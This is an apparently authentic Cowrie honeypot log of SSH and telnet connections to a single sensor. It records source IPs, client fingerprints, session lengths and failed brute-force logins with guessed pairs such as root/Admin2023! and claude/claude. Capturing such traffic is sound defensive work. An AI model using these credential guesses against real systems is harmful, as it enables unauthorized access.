{"eventid":"cowrie.session.closed","duration":42.190043449401855,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:26:03.506656Z","src_ip":"192.119.13.58","session":"964d8b40605f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.54414200782776,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:26:07.846825Z","src_ip":"192.119.13.58","session":"3b18df7ced48","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36842,"dst_ip":"10.17.0.5","dst_port":23,"session":"68b5400038cd","protocol":"telnet","message":"New connection: 192.119.13.58:36842 (10.17.0.5:23) [session: 68b5400038cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:26:11.103648Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.97.164","src_port":36368,"dst_ip":"159.203.135.109","dst_port":22,"session":"2055eff7254d","protocol":"ssh","message":"New connection: 43.156.97.164:36368 (159.203.135.109:22) [session: 2055eff7254d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:26:12.845543Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:26:12.851175Z","src_ip":"43.156.97.164","session":"2055eff7254d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:26:13.091121Z","src_ip":"43.156.97.164","session":"2055eff7254d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"101010","message":"login attempt [root/101010] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:26:14.079677Z","src_ip":"43.156.97.164","session":"2055eff7254d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:26:15.323498Z","src_ip":"43.156.97.164","session":"2055eff7254d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60110,"dst_ip":"10.17.0.5","dst_port":23,"session":"45b0e4861af1","protocol":"telnet","message":"New connection: 192.119.13.58:60110 (10.17.0.5:23) [session: 45b0e4861af1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:26:17.711222Z"}
{"eventid":"cowrie.session.closed","duration":41.28173279762268,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:26:22.158383Z","src_ip":"192.119.13.58","session":"ee729337167d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.64923453330994,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:26:22.695627Z","src_ip":"192.119.13.58","session":"1b83998ab8ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35446,"dst_ip":"10.17.0.5","dst_port":23,"session":"9dbb70634f68","protocol":"telnet","message":"New connection: 192.119.13.58:35446 (10.17.0.5:23) [session: 9dbb70634f68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:26:26.131198Z"}
{"eventid":"cowrie.session.closed","duration":46.555527448654175,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:26:28.047127Z","src_ip":"192.119.13.58","session":"fac027445c45","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.30543375015259,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:26:32.222250Z","src_ip":"192.119.13.58","session":"98bd6a632d68","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.11645174026489,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:26:35.325666Z","src_ip":"192.119.13.58","session":"408ab7858127","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.46124029159546,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:26:37.406132Z","src_ip":"192.119.13.58","session":"f8806df45c30","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.71817469596863,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:26:41.698458Z","src_ip":"192.119.13.58","session":"7961f4c32b9c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.219.184.142","src_port":51160,"dst_ip":"10.17.0.5","dst_port":22,"session":"d7365f541810","protocol":"ssh","message":"New connection: 186.219.184.142:51160 (10.17.0.5:22) [session: d7365f541810]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:26:47.607492Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:26:47.612564Z","src_ip":"186.219.184.142","session":"d7365f541810","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:26:47.756531Z","src_ip":"186.219.184.142","session":"d7365f541810","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Yl123456","message":"login attempt [root/Yl123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:26:48.365659Z","src_ip":"186.219.184.142","session":"d7365f541810","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:26:49.513966Z","src_ip":"186.219.184.142","session":"d7365f541810","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.242.115.83","src_port":53684,"dst_ip":"159.203.135.109","dst_port":22,"session":"61062f51eba0","protocol":"ssh","message":"New connection: 41.242.115.83:53684 (159.203.135.109:22) [session: 61062f51eba0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:26:50.721521Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:26:50.725659Z","src_ip":"41.242.115.83","session":"61062f51eba0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:26:50.923816Z","src_ip":"41.242.115.83","session":"61062f51eba0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:26:51.743020Z","src_ip":"41.242.115.83","session":"61062f51eba0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.11400318145752,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:26:52.217520Z","src_ip":"192.119.13.58","session":"68b5400038cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:26:52.943713Z","src_ip":"41.242.115.83","session":"61062f51eba0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.4.14.170","src_port":47920,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d14a257beea","protocol":"ssh","message":"New connection: 91.4.14.170:47920 (10.17.0.5:22) [session: 3d14a257beea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:26:56.011528Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:26:56.016548Z","src_ip":"91.4.14.170","session":"3d14a257beea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:26:56.186210Z","src_ip":"91.4.14.170","session":"3d14a257beea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin2023!","message":"login attempt [root/Admin2023!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:26:56.730576Z","src_ip":"91.4.14.170","session":"3d14a257beea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:26:57.834600Z","src_ip":"91.4.14.170","session":"3d14a257beea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.76206421852112,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:26:58.473144Z","src_ip":"192.119.13.58","session":"45b0e4861af1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54546,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e998510c3ac","protocol":"telnet","message":"New connection: 192.119.13.58:54546 (10.17.0.5:23) [session: 7e998510c3ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:26:59.291747Z"}
{"eventid":"cowrie.session.closed","duration":0.0049550533294677734,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:26:59.296564Z","src_ip":"192.119.13.58","session":"7e998510c3ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45976,"dst_ip":"10.17.0.5","dst_port":23,"session":"526661c4f6c4","protocol":"telnet","message":"New connection: 192.119.13.58:45976 (10.17.0.5:23) [session: 526661c4f6c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:27:04.341140Z"}
{"eventid":"cowrie.session.closed","duration":41.05146145820618,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:27:07.182475Z","src_ip":"192.119.13.58","session":"9dbb70634f68","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.040163040161133,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:27:09.381175Z","src_ip":"192.119.13.58","session":"526661c4f6c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58956,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e91b5e89d26","protocol":"telnet","message":"New connection: 192.119.13.58:58956 (10.17.0.5:23) [session: 5e91b5e89d26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:27:29.841805Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33996,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5d82d7f7907","protocol":"telnet","message":"New connection: 192.119.13.58:33996 (10.17.0.5:23) [session: e5d82d7f7907]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:27:30.678602Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.97.164","src_port":43078,"dst_ip":"159.203.135.109","dst_port":22,"session":"492d5d738fa1","protocol":"ssh","message":"New connection: 43.156.97.164:43078 (159.203.135.109:22) [session: 492d5d738fa1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:27:30.992965Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:27:31.002266Z","src_ip":"43.156.97.164","session":"492d5d738fa1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:27:31.242466Z","src_ip":"43.156.97.164","session":"492d5d738fa1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!@#QWE123qwe","message":"login attempt [root/!@#QWE123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:27:32.227292Z","src_ip":"43.156.97.164","session":"492d5d738fa1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:27:33.469308Z","src_ip":"43.156.97.164","session":"492d5d738fa1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57412,"dst_ip":"10.17.0.5","dst_port":23,"session":"9071b4d3796e","protocol":"telnet","message":"New connection: 192.119.13.58:57412 (10.17.0.5:23) [session: 9071b4d3796e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:27:36.761439Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45778,"dst_ip":"10.17.0.5","dst_port":23,"session":"d70f478a7039","protocol":"telnet","message":"New connection: 192.119.13.58:45778 (10.17.0.5:23) [session: d70f478a7039]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:27:40.982029Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.201","src_port":51528,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d670203091e","protocol":"ssh","message":"New connection: 94.26.106.201:51528 (10.17.0.5:22) [session: 4d670203091e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:27:45.824503Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:27:45.830473Z","src_ip":"94.26.106.201","session":"4d670203091e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.201","src_port":51536,"dst_ip":"10.17.0.5","dst_port":22,"session":"196845126a1e","protocol":"ssh","message":"New connection: 94.26.106.201:51536 (10.17.0.5:22) [session: 196845126a1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:27:45.924800Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.3","message":"Remote SSH version: SSH-2.0-libssh_0.11.3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:27:45.933403Z","src_ip":"94.26.106.201","session":"196845126a1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:27:46.017422Z","src_ip":"94.26.106.201","session":"196845126a1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:27:46.268809Z","src_ip":"94.26.106.201","session":"196845126a1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.63692331314087,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:28:04.478616Z","src_ip":"192.119.13.58","session":"5e91b5e89d26","protocol":"telnet"}
